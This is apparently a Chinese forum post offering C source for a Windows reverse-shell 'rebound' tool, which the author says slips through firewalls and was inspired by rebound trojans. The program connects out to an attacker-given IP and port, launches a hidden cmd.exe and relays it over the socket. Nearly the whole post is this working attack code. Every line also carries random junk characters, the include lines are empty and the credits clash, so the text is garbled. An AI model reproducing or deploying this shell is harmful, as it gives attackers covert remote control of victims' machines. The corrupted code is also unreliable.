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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N8nyTPw  
MGmtA(  
/* ============================== EkTen:{G  
Rebound port in Windows NT P, S9gG9  
By wind,2006/7 ~*2PmD"+:  
===============================*/ }.T$bj1B;V  
#include 8{d`N|k  
#include T-5T`awf  
_$=xa6YA  
#pragma comment(lib,"wsock32.lib") wkd591d*  
Fg,[=CqB[  
void OutputShell(); ;G},xDGO_m  
SOCKET sClient; p.l]% \QI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PDpIU.=!0  
Uf\*u$78  
void main(int argc,char **argv) ?T4%"0  
{ r_2  
WSADATA stWsaData; I1}{7-_t  
int nRet; %@BQv 4oJ  
SOCKADDR_IN stSaiClient,stSaiServer; FG8bP  
Bj]0Cz  
if(argc != 3) o[cKh7&+  
{ -rH3rKtf~  
printf("Useage:\n\rRebound DestIP DestPort\n"); WO}JIExy  
return; 1":{$A?OB  
} Cch1"j<k$  
mIr{Wocx  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2r* o  
^ePSI|EW  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WVo%'DtF`  
Rw. Uz&  
stSaiClient.sin_family = AF_INET; L)w& f  
stSaiClient.sin_port = htons(0); ~F' $p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \!YPht  
Jk1U p2#B  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2nEj X\BY  
{ FlkAo]  
printf("Bind Socket Failed!\n"); |r /}r,t}  
return; dmF<J>[  
} O~t5qnu/}  
0{B5C[PTG  
stSaiServer.sin_family = AF_INET; ^lQ-w|7(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B2,! 0Re  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b(XhwkGVq  
 vb70~k  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,*%8*]<=  
{ ;yUY|o  
printf("Connect Error!"); <`N\FM^vo  
return; NGxii$F  
} f0^s*V+  
OutputShell(); &Owt:R)9~  
} 5T;_k'qe  
>?tcL *  
void OutputShell() 6%yr>BFtVV  
{ ]XP[tLY Y  
char szBuff[1024];  vG  
SECURITY_ATTRIBUTES stSecurityAttributes; {{ wVM:1  
OSVERSIONINFO stOsversionInfo; MK"Yt<e(o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y{J/Oib  
STARTUPINFO stStartupInfo; }$UuYO/i  
char *szShell; <4! w2vxG  
PROCESS_INFORMATION stProcessInformation; @FbzKHdV/  
unsigned long lBytesRead; Az.Y-O<$\  
TVjY8L9'h  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0dgR;Dl(  
Kt^PL&A2  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M!I:$DZt  
stSecurityAttributes.lpSecurityDescriptor = 0; fI BLJ53  
stSecurityAttributes.bInheritHandle = TRUE; cJhf{{_oR  
= tog<7  
Q% dpGI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (Bmjz*%M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )v|a:'%K_  
De^is^{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #~#_) \l'F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nxH$$}9  
stStartupInfo.wShowWindow = SW_HIDE; 4 bJ3uIP#  
stStartupInfo.hStdInput = hReadPipe; I&cb5j]C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (te \!$  
%WO;WxG8^  
GetVersionEx(&stOsversionInfo); YqDw*S{  
2>H\arEstR  
switch(stOsversionInfo.dwPlatformId) Dgkt-:S/T|  
{ P,v}Au( UI  
case 1: 7C 4Njei"  
szShell = "command.com"; Np=*B_ @8  
break; %`}Qkb/Lyh  
default: wIY#TBu  
szShell = "cmd.exe"; !W3Le$aL  
break; oF*Y$OEu?c  
} fqr}tvMr=T  
/ _cOg? o  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  Et- .[  
HQE#O4  
send(sClient,szMsg,77,0); (Ux%7H_d  
while(1) $ &^ ,(z9  
{ yx}:Sgv%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lRO8}XSI  
if(lBytesRead) oS`F Yy  
{ D{8V^%{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .&[nS<~`  
send(sClient,szBuff,lBytesRead,0); L?Lp``%bI7  
} M P3E]T~:  
else leD?yyjw7  
{ Bf-&[ 5N}  
lBytesRead=recv(sClient,szBuff,1024,0); ct]5\g?U'  
if(lBytesRead<=0) break; Y]n^(V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4+W}TKw  
} G_o/ lIz"  
} Onc!5L  
@.g4?c  
return; SOUA,4  
}
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